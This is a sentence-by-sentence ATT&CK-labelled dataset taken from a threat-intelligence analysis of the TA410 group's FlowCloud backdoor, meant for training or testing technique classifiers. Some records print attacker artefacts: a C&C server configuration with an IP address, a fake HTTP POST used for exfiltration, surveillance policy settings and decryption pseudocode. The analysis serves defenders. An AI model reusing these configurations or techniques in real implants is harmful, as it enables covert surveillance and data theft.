{"sentence": "Figure 8 shows this installation configuration with the comments translated to English.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970 #Product name, these will be used in the configuration generator and applied to the front end[product]product_chs_name=Sky Arrowproduct_name=PCArrowIproduct_version=v5.0.2 [", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "general]created_folder=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msoleinstall_folder=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msoledata_folder=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\fcdata hide_user_activity_tab = 0 #File path, not including drive letter[file]100=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\responsor.dat103=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\setlang.exe104=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\setlangloc.dat#105=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\rebare.dat106=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\rescure.dat107=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\rescure86.dat108=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\rescure64.dat109=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\sspisrvui.dat110=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\setlangloc.dll101=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\E86F36C4102=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\AC1461421000=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\E19D9D4B #0x0001 Release without decryption#0x0002 Decryption release[file_out_type]100=0x0001103=0x0002104=0x0002#105=0x0002106=0x0002107=0x0002108=0x0002109=0x0002110=0x0002101=0x0001102=0x00011000=0x0001 ##Registry path: separated by'|', respectively representing HKEY_LOCAL_MACHINE, path name, value name[key]##100=0x80000002|SYSTEM\\Setup\\PrintResponsor|1#101=0x80000002|SYSTEM\\Setup\\PrintResponsor|2#102=0x80000002|SYSTEM\\Setup\\PrintResponsor|3#1000=0x80000002|SYSTEM\\Setup\\PrintResponsor|4##2000=0x80000002|SYSTEM\\Setup\\AllowStart\\ceipCommon|1##2001=0x80000002|SYSTEM\\Setup\\AllowStart\\ceipCommon|22001=0x80000002|SYSTEM\\Setup\\AllowStart\\ceipCommon|1 ##0x0001 Release without decryption##0x0002 Decryption release[key_out_type]##100=0x0001#101=0x0001#102=0x0001#1000=0x0001#2000=0x00022001=0x0002 #Service Information: hhw.exe needs to be dynamically generated[service_attribute]is_hhw=0service_name=PrintResponsorservice_path=%ProgramFiles%\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\setlang.exeservice_parm= Figure 8.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Installation configuration with explanatory comments.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Note that some fields are commented out.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The configuration can also contain a section defining specific security software to check for, but this isn’t implemented in the loaders we analyzed.", "labels": ["T1518.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "However, there is a custom AntivirusCheck class, which can check running processes against a hardcoded list of XOR-encrypted executable filenames from known security products: 360 Total Security, Avast, Avira, AVG, Bitdefender, ESET, Jiangmin Technology Antivirus, Kingsoft, McAfee, Micropoint, Norton, Rising Antivirus, and Trend Micro.", "labels": ["T1057", "T1518.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This class is only used if the loader is set to directly start the fcClient module via the auto_start_after_install configuration key.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Depending on the configuration keys used, the loader can either load the fcClientDll RAT module directly, thus bypassing most of the complex deployment process, or it can create a service or scheduled task.", "labels": ["T1053.005", "T1543.003"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In the former case, the task or service attains persistence by being set to start automatically on boot.", "labels": ["T1547.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In the samples we observed, the task or service was configured to execute the next step of the installation process by running a legitimate application vulnerable to DLL search-order hijacking.", "labels": ["T1569.002"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The application and the accompanying relevant and malicious DLL were both embedded in the loader’s resources.", "labels": ["T1027", "T1574.002"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "DLL side-loading (XXXModule_dlcore0)", "labels": ["T1574.002"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In the samples we analyzed, the vulnerable application was either setlang.exe from Microsoft Office 2003 with a malicious setlangloc.dll or vpreview.exe from Visio Preview 2007 with a malicious vviewres.dll.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Strings contained in the malicious DLL also point to emedres.dll from Emurasoft’s EmEditor as a possible third target for DLL side-loading.", "labels": ["T1574.002"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This is a real possibility as such vulnerabilities were present in older versions of EmEditor, but we did not see any samples using it.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In all observed samples, the malicious library is the same and serves to load and execute shellcode from a file that is stored under the same name as the DLL, but with a .dat extension.", "labels": ["T1574.002"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "We analyze this shellcode in the next section, but first, we want to look at the notable anti-analysis techniques used in this library.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Despite its relatively simple goals, the library’s code makes heavy use of anti-debugging tricks and control flow obfuscation to hinder analysis.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In the function that loads the next file, the useful code is repeatedly interspersed with the same sequence of opcodes to obfuscate the program’s flow.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "As shown in Figure 9, this short snippet is packed full of anti-analysis tricks, but ultimately amounts to an unconditional 16-byte jump.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This is enough to foil many automatic analyses, including decompilers.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Annotated disassembly of the control flow obfuscation snippet The above snippet is bookended by calls to two anti-debugging functions, as can be seen in Figure 10.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The function, which we named crash_if_debugger in the previous screenshot, calls IsDebuggerPresent and checks some commonly hooked library functions for a breakpoint as their first instruction.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "If those checks detect a debugger, the function returns a value that will cause the program to jump to an invalid address and crash.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The second one raises an exception via the INT 0x2D instruction and exits if it was handled by a debugger. Figure 10.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Decompiler view showing the obvious pattern of anti-debugging checks.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Note that we had to remove the aforementioned obfuscation for the decompiler to produce any output.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "fcClient (rescure.dat)", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "When it is first executed, this module sets up persistence and installs the backdoor, rootkit, and persistence modules.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It then sets specific registry keys and files as guardrails to skip the setup on subsequent runs.", "labels": ["T1547.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "First, persistence is established by using the ITaskService COM interface to create the \\Microsoft\\Windows\\CertificateServicesClient\\NetTask scheduled task.", "labels": ["T1053.005"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "If a task with the same name already exists, it is deleted before the new one is created.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This task will run the DLL hijacking target as SYSTEM at each boot.", "labels": ["T1053.005"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Afterwards, the rootkit module is decrypted and written to the %System%\\drivers folder as hidmouse.sys.", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "A hidmouse service is then created to run that module and is immediately started.", "labels": ["T1543.003", "T1569.002"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The file is then deleted from the disk and replaced by a copy of the legitimate hidusb.sys driver from the same folder.", "labels": ["T1070.004"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Thus, anyone looking at the file on disk rather than the one mapped into memory would see a legitimate, benign file.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "On Windows 10 machines, the system time is briefly changed to make it look like the service was created in January 2013.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Both this and the use of the legitimate driver directory help the rootkit blend in with other drivers.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The following files are copied to the %System% directory:", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The backdoor: rescure.dat A decoy DLL: sspisrvui.dat as sspisrvui.dll (timestomped to July 2013)", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The encrypted shellcode: rebare.dat The rebare.dat shellcode is very similar to that used in the self-decrypting DLL, but it loads fcClient directly.", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "FlowCloud then starts a suspended process to perform injection on it.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This process is created via CreateProcessAsUserW using a token retrieved from the explorer.exe or winlogon.exe process in the current session.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The injected code loads the same backdoor (rescure.dat) into the process’s memory and calls its startModule export to finish the installation.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Meanwhile, the injection process is terminated.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "At this point, installation of the backdoor is complete.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "All that is left is to execute the backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "To achieve this, the new process loads the decoy DLL and manually replaces its content in memory with the fcClientDll module (a process known as module stomping or DLL hollowing), before calling its main function.", "labels": ["T1574.002"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "fcClientDll (responsor.dat)", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This complex module is the main component of the backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It provides a wide range of capabilities from full file system access to control of camera peripherals and everything in between.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Although we did not observe any plug-ins, the backdoor contains code that hints that they can be used to further extend functionality.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Before diving deeper into the functionalities, we want to highlight some notable characteristics: Configuration information and data for communications with the C&C server are Protobuf-serialized, compressed, and encrypted.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "File exfiltration is done through encrypted, Protobuf-serialized structures and is disguised as HTTP by prepending the data with a hardcoded, fake POST request.", "labels": ["T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The Content-Length header is the only variable element, as it is set to the actual size of the data sent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This hardcoded request can be seen in Figure 11.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Multiple functionalities are implemented through the use of COM objects and interfaces.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "POST /messagebroker/amf HTTP/1.1Host: s.peheavens.comConnection: keep-aliveContent-Length: <content_length>Origin: http://s.peheavens.comX-Requested-With: ShockwaveFlash/20.0.0.306User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36Content-Type: application/x-amfAccept: */*Referer: http://s.peheavens.com/html/portlet/ext/draco/resources/draco_manager.swf/[[DYNAMIC]]/1Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: COOKIE_SUPPORT=true; JSESSIONID=5C7E7A60D01D2891F40648DAB6CB3DF4.jvm1; COMPANY_ID=10301; ID=666e7375545678695645673d; PASSWORD=7a4b48574d746470447a303d; LOGIN=6863303130; SCREEN_NAME=4a2b455377766b657451493d; GUEST_LANGUAGE_ID=en-US Figure 11.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Hardcoded, fake HTTP POST request used for FlowCloud C&C communication This component uses an encrypted, Protobuf-serialized configuration that it tries to read from a file on disk or a registry key.", "labels": ["T1012", "T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The configurations we observed were composed of three sections:", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "server_config: This section contains information about the C&C servers and identification information about the victim and backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "policys [sic]: This section defines the behavior of the backdoor’s components and is described in detail in the following paragraphs.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "install_config: As the name indicates, this section defines the installation parameters.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "An example of such a server_config is shown in Figure 12.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This configuration corresponds to resource 1000 in the initial loader.", "labels": ["T1041"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It defines the address and port for both the exfiltration server (file_server) and the C&C server (exchange_server), along with the encryption key to use for communication with each.", "labels": ["T1041"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "A fallback server can also be defined for each of these.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The file_key field defines the encryption key to use when storing files that are to be exfiltrated.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The other entries are used to identify the backdoor and the victimized host:", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "product_name: A name for the backdoor in use.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "PCArrowI seems to correspond to FlowCloud.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "product_version: The backdoor’s version.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "id_prefix: This value is prefixed to the generated ID.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Presumably, used to group victims or campaigns.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "id:", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This value uniquely identifies the victim.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Initially, it is empty; the value is generated on the first execution using the following format: <prefix>_<current timestamp>_<machine hostname> 12345678910111213141516171819202122 server_config { product_name: “PCArrowI\" product_version: \"v5.0.2\" id: \"1202_[REDACTED]\" root: \"\" file_server: \"47.111.22[.]65\" file_server_port: \"80\" file_server_bak: \"\" file_server_bak_port: \"\" exchange_server: \"47.111.22[.]65\" exchange_server_port: \"81\" exchange_server_bak: \"\" exchange_server_bak_port: \"\" file_server_key: \"E\\367\\016\\031<…>\" xchg_server_key: \"8\\335\\325$<…>\" file_key: \"U\\267\\323\\353\\<…>\"", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "is_audio_only: false id_prefix: \"1202\"} Figure 12.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "server_config section of a decoded FlowCloud configuration FlowCloud’s capabilities are spread out over a series of singleton classes, each of which implements a cohesive set of functionalities related to a specific type of data or action.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "These roughly follow an internal naming convention where classes with names ending with manager_handler perform actions in response to C&C commands, while those whose names end with manager automatically perform actions based on timers or event listeners.", "labels": ["T1074.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Each manager stores collected data in its own SQLite database, while data that is collected on demand is returned directly to the C&C server.", "labels": ["T1074.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Data is encrypted with the aforementioned file_key before being inserted into the database.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The location of the SQLite databases is defined by the data_folder install configuration key, with the default value being %ProgramFiles%\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\fcdata.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The classes are orchestrated by an instance of fc_kernel_manager.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This object is responsible for initializing other components and handling C&C connections.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It can also update the local configuration when the corresponding command is received.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "As shown in Figure 13, parameters and frequency of automated actions can be specified and finely tuned through configuration policies.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Data exfiltration is likewise automated: policies can contain a cache_size or cache_count parameter, which determines how much data can be collected locally by the corresponding class before it is staged for exfiltration.", "labels": ["T1074.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657 policys { keyboard_policy { state: true cycle_time: 60 limit_size: 100 cache_size: 10 } screen_policy { state: true cycle_time: 30 cache_count: 200 bit_depth: 4 } audio_policy { state: false cache_size: 100 decibel_limit: 65 continue_seconds: 15 } smfile_search_policy { guid: \"XXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\" state: false research: true inc_all_removable: true inc_all_fixed: true limit_size: 1 recent_days: 30 filter: \"*.doc\" filter: \"*.docx\" filter: \"*.xls\" filter: \"*.xlsx\" filter: \"*.ppt\" filter: \"*.pptx\" filter: \"*.bmp\" filter: \"*.jpg\" filter: \"*.png\" filter: \"*.gif\" cache_size: 1024 b_exclude_system_files: true b_exclude_system_folders: true } installedapp_policy { state: false } clipboard_policy { state: false ignore_repeat: true cycle_time: 300 limit_size: 100 single_limit_size: 10 cache_size: 50 } user_activity_policy { process_activity_state: false browser_activity_state: false } } Figure 13.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The policys [sic] section of a decoded FlowCloud config As we have previously mentioned, this implant uses a lot of classes.", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Rather than documenting each of them individually, we will present an overview of the available functionality by grouping them into three categories: those that interact with the file system, functionalities that collect information about programs and processes, and those that gather real-time information about user activity.", "labels": ["T1057"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "File system FlowCloud provides interaction with the file system in a variety of ways, most of which can store file metadata and content in their SQLite database.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "One of these is a component that walks through all mapped file systems and collects files that are not excluded by filters in the smfile_search_policy.", "labels": ["T1083"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It also creates an invisible window that listens for file creation, modification, or renaming events.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The corresponding files are collected unless they are excluded by that policy.", "labels": ["T1005", "T1082"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Another component collects information about mapped volumes, including mount point, name, drive type, and disk usage data.", "labels": ["T1082"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This same class collects file and directory metadata.", "labels": ["T1083"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "As a complement to these automated measures, the backdoor implements functions that provide full access and control over the content of mounted drives.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This includes bidirectional file transfers between the C&C and the compromised machine. Programs and processes FlowCloud is able to automatically obtain a list of installed software through the use of the undocumented IShellAppManager COM interface.", "labels": ["T1041"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This functionality can also be invoked via a C&C command.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Figure 14 shows, after the extraneous code has been removed, how that interface is used.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Simplified code showing how the IShellAppManager COM interface is used to list installed applications Other commands can be used to retrieve a detailed list of available services and currently running processes.", "labels": ["T1057"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Another interesting feature is the near real-time monitoring of process activity.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "To achieve this, FlowCloud runs WMI queries every second to get all process creation and termination events.", "labels": ["T1047"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The obtained information is correlated with data from the Win32_Process table for a more detailed view.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "User activity FlowCloud is able collect a miscellany of data that we have decided to group under the “User activity” umbrella.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It has the ability to monitor the clipboard for changes and save any data it contains.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "As seen in Figure 15, it achieves this by creating an invisible window with a custom class and registering two clipboard formats.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This window uses AddClipboardFormatListener (on Windows Vista or more recent) or SetClipboardViewer (on Windows XP and prior) to listen for clipboard content changes. Figure 15.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Set up monitoring of the clipboard Collected clipboard content is stored along with information about the current foreground window.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This information can help attackers understand the data by contextualizing it.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "FlowCloud can periodically take screenshots and store them with information about the foreground process and time since the last user input.", "labels": ["T1113"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "To limit the disk space used, images where fewer than 5% of the pixels differ from the most recently stored capture aren’t saved.", "labels": ["T1113"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This feature can also be invoked on demand by the server.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Another of the backdoor’s components records mouse and keyboard activity to a database.", "labels": ["T1056.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It does not collect these directly, but instead acts in tandem with the keylogger component of the driver (described in the next section) by reading data from the \\\\.\\pipe\\namedpipe_keymousespy_english named pipe.", "labels": ["T1056.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Interestingly, FlowCloud can also gather information about things happening around the victim’s computer.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The first way it does so is through a C&C command that takes a picture using connected camera peripherals.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This feature is implemented using the CCameraDS class from OpenCV.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The second way it can collect information about the computer’s surroundings is by recording audio.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Much like a voice assistant, FlowCloud can use a computer’s microphone to listen to its surroundings, but instead of recording being triggered by a command word, it seems to be triggered by any sound over a threshold defined by the decibel_limit field of the audio_policy.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The default value is 65 decibels, which is in the upper range of normal conversation volume (commonly defined to be anywhere between 50 and 70 dB by various sources).", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Self-decrypting DLL (setlangloc.dat)", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The loaded shellcode is a self-decrypting DLL.", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It first decrypts the embedded DLL using a byte-oriented XOR-and-ADD scheme (shown in Figure 16).", "labels": ["T1027", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The shellcode we analyzed used the key 0x7B. Once it has decrypted the embedded DLL, the shellcode manually performs the functions of LoadLibrary and calls the loaded module’s startModule export.", "labels": ["T1027", "T1106", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "for (int i=0; i < ciphertext_length; i++) plaintext[i] = ((encrypted[i] ^ key)", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "+ key) & 0xFF Figure 16.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Pseudocode for the DLL decryption routine This newly loaded module uses the same anti-debugging and anti-analysis techniques as the hijacking DLL described above.", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "On top of those, it also uses a few tricks of its own: Covers its tracks by overwriting the code previously modified by the malicious library with a useless call to lstrlenW. Base64-encoded strings are used for function imports (via GetProcAddress) and only decoded as needed.", "labels": ["T1027", "T1106", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Exits if the process’s executable is not the expected DLL hijacking target (e.g., setlang.exe).", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The module creates a new process using the same executable and performs process injection on it, redirecting the existing thread to the written code region.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This code inside the new process launches a thread that decrypts and loads the fcClient module before calling its startModule export.", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "That function will perform the final stages of the installation and load the DLL containing the backdoor functionality.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
